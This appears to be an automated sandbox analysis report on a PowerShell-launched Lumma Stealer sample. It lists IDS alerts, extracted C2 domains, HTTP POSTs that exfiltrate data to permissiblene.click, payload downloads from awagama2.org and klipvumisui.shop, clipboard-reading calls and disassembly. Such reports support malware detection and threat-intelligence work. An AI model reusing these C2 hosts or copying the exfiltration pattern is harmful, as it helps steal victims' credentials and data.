Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [eax+00006C8Ch]	8_2_0042D941
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [0044A184h]	8_2_0042D14C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	8_2_00436150
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 385488F2h	8_2_004191D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, word ptr [esp+eax*2+04h]	8_2_004191D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2]	8_2_0043C980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	8_2_0043A1A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2-000112FCh]	8_2_00417A51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+00000130h]	8_2_00417A51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, eax	8_2_00417A51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [ebp+ebx+02h], 0000h	8_2_00421200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00421200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ecx], dx	8_2_00417303
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00417303
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	8_2_0042A320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	8_2_0041B323
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	8_2_0041B323
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add ecx, esi	8_2_004253E5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, eax	8_2_00402BA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	8_2_004073B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	8_2_004073B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [00447218h]	8_2_00424C22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0040E425
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00004752h]	8_2_0042BC3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0042BC3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00004752h]	8_2_0042BCC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0042BCC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, word ptr [edx+esi*2]	8_2_004274E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	8_2_0042DCFD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2+04h]	8_2_0043C480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0041B4B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+0Ch]	8_2_00413DA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0040E65B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00007F25h]	8_2_004146D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F6D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2+1Ch]	8_2_004396F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 4B1BF3DAh	8_2_004396F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [eax+ecx+02h], 0000h	8_2_004396F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2]	8_2_004406F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebp, word ptr [esp+edx*2]	8_2_004406F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [esp+edi*2+02h]	8_2_0043D71C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_0043F5C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2]	8_2_0043E7DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2+1Ch]	8_2_0043EFF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx eax, byte ptr [edx+ebp]	8_2_0043EFF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ecx], al	8_2_0042D7B7

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49983 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49983 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49992 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: permissiblene.click

Source: global traffic

HTTP traffic detected: GET /Scheele.pt HTTP/1.1Host: t1.awagama2.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.37.128 104.21.37.128
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49983 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49988 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49990 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49989 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49987 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 104.21.37.128:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.37.128:443 -> 192.168.2.5:49993

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XAFS5EBEID00HPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12809Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QAJY2769OHRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15033Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NWPK6ZAAQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20511Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FPNR0FJKAFCPRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5450Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DOFL1NC99H51R36QCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1232Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=643076B20D50MOJPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1092Host: permissiblene.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 112Host: permissiblene.click
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Scheele.pt HTTP/1.1Host: t1.awagama2.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: t1.awagama2.org
Source: global traffic	DNS traffic detected: DNS query: permissiblene.click
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: permissiblene.click

Source: powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0
Source: powershell.exe, 00000009.00000002.3125696403.000000000782D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000004.00000002.2859045142.00000000074BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000008.00000002.3010448615.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.trustwave.com/TWGCA.crl0n
Source: powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0
Source: powershell.exe, 00000002.00000002.2058549903.0000000005B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.3010448615.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.trustwave.com/06
Source: powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.vikingcloud.com/0A
Source: powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2053184182.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3040273310.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.3010448615.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ssl.trustwave.com/issuers/TWGCA.crt0
Source: powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.3031345788.0000000003111000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..FT_
Source: powershell.exe, 00000002.00000002.2053184182.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3040273310.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBsq
Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://certs.securetrust.com/CA0
Source: powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.3005785621.00000000030BA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3001201192.0000000003047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/
Source: powershell.exe, 00000008.00000002.3005785621.00000000030BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/h
Source: powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtH
Source: powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtr
Source: powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txts
Source: powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop:443/int_clp_sha.txt
Source: powershell.exe, 00000002.00000002.2058549903.0000000005B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.3009863831.0000000005520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permissiblene.click/
Source: powershell.exe, 00000008.00000002.3005785621.00000000030BA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3009863831.0000000005520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permissiblene.click/api
Source: powershell.exe, 00000008.00000002.3009863831.0000000005520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permissiblene.click/apiU)r
Source: powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://permissiblene.click:443/api
Source: powershell.exe, 00000008.00000002.3010448615.000000000559C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.trustwave.com/CA03
Source: powershell.exe, 00000002.00000002.2052003565.0000000002DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagam
Source: powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagama2.org
Source: powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagama2.org/Scheele.LRsq
Source: powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagama2.org/Scheele.pLRsq
Source: powershell.exe, 00000004.00000002.2822879448.0000000002E09000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagama2.org/Scheele.pt
Source: powershell.exe, 00000004.00000002.2823673886.0000000003087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t1.awagama2.org/scheele.pt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.5:49993 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00433510 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

8_2_00433510

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00433510 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

8_2_00433510

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4524, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 616, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07204CA8 NtResumeThread,		4_2_07204CA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07204CA0 NtResumeThread,		4_2_07204CA0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F75780	4_2_06F75780
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F7577B	4_2_06F7577B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F790D8	4_2_06F790D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F790CF	4_2_06F790CF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F790C8	4_2_06F790C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F751E8	4_2_06F751E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F751C5	4_2_06F751C5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F89888	4_2_06F89888
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F88670	4_2_06F88670
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F88661	4_2_06F88661
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F824D8	4_2_06F824D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F885E0	4_2_06F885E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F875D8	4_2_06F875D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F875C8	4_2_06F875C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F82518	4_2_06F82518
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F89879	4_2_06F89879
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F80040	4_2_06F80040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_06F80006	4_2_06F80006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071CBB0D	4_2_071CBB0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071C24C0	4_2_071C24C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071CEB62	4_2_071CEB62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_071CEBA0	4_2_071CEBA0
